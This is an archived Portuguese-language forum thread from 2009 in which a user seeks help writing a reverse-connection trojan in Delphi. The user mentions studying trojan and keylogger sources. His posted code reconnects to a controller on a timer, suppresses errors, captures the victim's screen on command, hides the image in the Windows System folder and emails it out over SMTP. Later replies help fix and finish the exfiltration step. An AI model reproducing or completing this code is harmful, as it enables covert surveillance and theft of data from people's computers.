Você está na página 1de 4

[Ajuda] Print Screen Conexo Reversa [Arquivo] - Forum Invaders - S...

http://www.forum-invaders.com.br/vb/archive/index.php/t-33550.html

Forum Invaders - Seu Portal de Segurana na Internet > Tecnologia da Informao > Programao > Delphi > [Ajuda] Print Screen Conexo Reversa

Ver Verso Completa : [Ajuda] Print Screen Conexo Reversa

PDA

nmet Bom..

14 Aug 2009, 01:52

J frequento o form j faz um tempo e criei uma conta para interagir com vocs. J li diversos tpicos daqui mesmo, analisei vrias sources de trojans e kl sobre print.. Mas quando o cdigo est correto, algum erro acontece com os demais comandos. Cansei de quebrar minha cabea pra entender como funciona print screen + enviar pro socket.cliente Li o tpico do Ace sobre Stream.. Mas deduzi que ele perfeito para uma conexo direta, tentei adapta-lo a conexo reversa. mas cheio de problemas, tentei criar meu prprio cdigo mas peas faltam tambm.. Achei vrias formas de capturar screen, testei.. guardava numa vriavel a print e tentava enviar para o cliente.. mas os outros comandos 'bugavam' dai, quando no era o server.. era o cliente que no ajudava. Se alguem poder ajudar.. um modo simples de fazer tudo isso via conexo reversa. Obrigado :)

JCSF Que problemas voc encontrou?

14 Aug 2009, 10:41

nmet Achei vrias formas de capturar screen, testei.. guardava numa vriavel a print e tentava enviar para o cliente.. mas os outros comandos 'bugavam'

14 Aug 2009, 14:44

MagicSymb.dll Poderia especificar os erro? Abrao, Magic.

14 Aug 2009, 15:38

nmet Meu pc estragou.. Parece que precisa de uma nova fonte ^^' Desculpa pela demora.. Se poderem.. digam se h algum erro no cdigo e respondam as minhas perguntas nele Grato unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, ScktComp, IdMessage, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, JPEG; type TForm1 = class(TForm) CS: TClientSocket; Timer1: TTimer; smtp: TIdSMTP; message1: TIdMessage; procedure Timer1Timer(Sender: TObject); procedure CSError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); procedure CSRead(Sender: TObject; Socket: TCustomWinSocket); private { Private declarations }

18 Aug 2009, 23:56

1 de 4

31/1/2012 11:12

[Ajuda] Print Screen Conexo Reversa [Arquivo] - Forum Invaders - S...

http://www.forum-invaders.com.br/vb/archive/index.php/t-33550.html

public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Timer1Timer(Sender: TObject); begin if not CS.Active then CS.Active := true; end; procedure TForm1.CSError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); begin errorcode :=0; end; procedure TForm1.CSRead(Sender: TObject; Socket: TCustomWinSocket); Var dados : string; bitmap : tbitmap; jpg : tjpegimage; dc : hdc; desktoprect : trect; desktopcanvas : tcanvas; x, y : integer; begin dados := socket.ReceiveText; { PRINT SCREEN } if dados = 'print_screen' then begin dc:=getdc(getdesktopwindow); try desktopcanvas:=tcanvas.create; bitmap:=tbitmap.create; jpg:=tjpegimage.create; try bitmap.Width:=Screen.Width; // Tamanho da imagem bitmap.Height:=Screen.Height; // Tamanho da imgem desktopcanvas.handle:=dc; desktoprect:=rect(0,0,Screen.Width,Screen.Height);//Tamanho da tela de captura. bitmap.canvas.CopyRect(desktoprect,desktopcanvas,d esktoprect); with jpg do begin compressionquality:=100; assign(bitmap); compress; savetofile('c:Windows\System\screen.jpg'); // Path onde sera salva a imagem end; finally bitmap.free; desktopcanvas.free; end; finally releasedc(getdesktopwindow,dc); dados := 'print_screen_gravada'; socket.SendText('Print Screen enviada') ; end; if dados = 'print_screen_gravada' then begin TIdAttachment.Create(Message1.MessageParts, 'c:Windows\System\screen.jpg'); dados := 'print_screen_enviar'; end; if dados = 'print_screen_enviar' then with Message1 do begin Body.Add('Print Screen'); From.Text := 'qualquer email ?'; Recipients.EMailAddresses := 'meu email ?';

2 de 4

31/1/2012 11:12

[Ajuda] Print Screen Conexo Reversa [Arquivo] - Forum Invaders - S...

http://www.forum-invaders.com.br/vb/archive/index.php/t-33550.html

Subject := 'Print Screen'; smtp.AuthenticationType := atlogin; // Indica que requer autenticao smtp.Username := //Aqui coloco Recipients.EMailAddresses ?; smtp.Password := //senha do Recipients.EMailAddresses ?; smtp.Host := 'smtp.mail.yahoo.com.br'; smtp.Port := 25; smtp.Connect; try smtp.Send(message1); // Envia finally dados := 'nulo'; smtp.Disconnect; // Desconecta end; end; end; end; end.

galack :roll: Bom eu achei um erro; O diretrio informado, faltou uma barra aps "c:\...." TIdAttachment.Create(Message1.MessageParts, 'c:Windows\System\screen.jpg'); dados := 'print_screen_enviar';

19 Aug 2009, 00:11

nmet O programa consegue salvar a imagem, mas no consegue manda-la pro meu email.. Preciso das informaes certas que preciso por no smtp para enviar.. Ali no code tenho algumas dvidas.. se algum poder responde-las :x

19 Aug 2009, 20:49

JCSF

20 Aug 2009, 00:47

Voc pode utilizar um Timer para enviar o e-mail ou outro mtodo. Como fazer para enviar um e-mail utilizando SMTP e IdMessage voc encontrar vrios tpicos aqui no frum falando sobre o assunto, entretanto, poder utilizar o Google tambm. Alguns exemplos relacionados: http://forum-invaders.com.br/phpBB/viewtopic.php?f=62&t=8557875&hilit=e+mail http://www.forum-invaders.com.br/phpBB/viewtopic.php?f=62&t=8557065 http://forum-invaders.com.br/phpBB/viewtopic.php?f=62&t=8557476&hilit=e+mail

nmet se algum poder responde-las :x No quis flodar pra explicar que esta carinha no era pra ser brava Acho que meu nico problema isto..

20 Aug 2009, 02:08

Body.Add('Print Screen'); From.Text := 'qualquer email ?'; Recipients.EMailAddresses := 'meu email ?'; Subject := 'Print Screen'; smtp.AuthenticationType := atlogin; // Indica que requer autenticao smtp.Username := //Aqui coloco Recipients.EMailAddresses ?; smtp.Password := //senha do Recipients.EMailAddresses ?; smtp.Host := 'smtp.mail.yahoo.com.br'; smtp.Port := 25; pesquisei e no achei.. quais os dados que preciso por nestes campos ? :)

JCSF Indy Docs : http://www.indyproject.org/Sockets/Docs/index.EN.aspx No help do Delphi tambm tem a descrio das propriedades, um exemplo:

20 Aug 2009, 13:01

3 de 4

31/1/2012 11:12

[Ajuda] Print Screen Conexo Reversa [Arquivo] - Forum Invaders - S...

http://www.forum-invaders.com.br/vb/archive/index.php/t-33550.html

property Username; Description Username is a String property that specifies the user name used to log on to the SMTP Server. Username and Password are used, in Authenticate, to perform account verification when AuthenticationType is atLogin. Este outro eu extrai do Indy Docs: TIdSMTP.AuthenticationType TIdSMTP Authentication type required to connect to the SMTP host. property AuthenticationType: TAuthenticationType; Description AuthenticationType is a TAuthenticationType property that specifies the authentication type to use when accessing the E-Mail server. AuthenticationType can contain one of the following values: {bmct bullet.bmp} atNone - no authentication is required. {bmct bullet.bmp} atLogin - simple username and password authentication is required (AUTH LOGIN).

Basta voc realmente pesquisar. Abrao.

nmet Bastava me dizer que..

20 Aug 2009, 21:11

IdSMTP1.Username:='exemplo//@hotmail.com'; Para username no use a extenso do seu email :P Ficar fazendo enigmas no ajudo muito.. Mas valeu pela tentativa ;D Abrao.

JCSF nmet,

21 Aug 2009, 00:35

Se voc quer que eu faa enigmas estou disposto para isso tambm, mas aqui no o local indicado. S estou tentando ajudar algum que , de forma aparente, no sabe muito sobre Delphi. Construir um programa no copiar e sim aprender. No se esquea que aprender o mnimo de ingls seria bom tambm. No mais, desculpe-me se voc inexperinte e no quer aprender como solucionar problemas no Delphi. Atenciosamente, JCSF.

nmet Como ns vimos o problema no era com authentication.. Pois .. Eu estava tentando 'aprender' o que eu deveria colocar no username : ) Estava sem tempo para pesquisas, mas obtive sucesso sozinho. Sem mais. bjos

21 Aug 2009, 02:43

JCSF Novamente, o que postei foi um exemplo. Atenciosamente, JCSF.

21 Aug 2009, 13:02

Powered by vBulletin Version 4.1.10 Copyright 2012 vBulletin Solutions, Inc. All rights reserved.

4 de 4

31/1/2012 11:12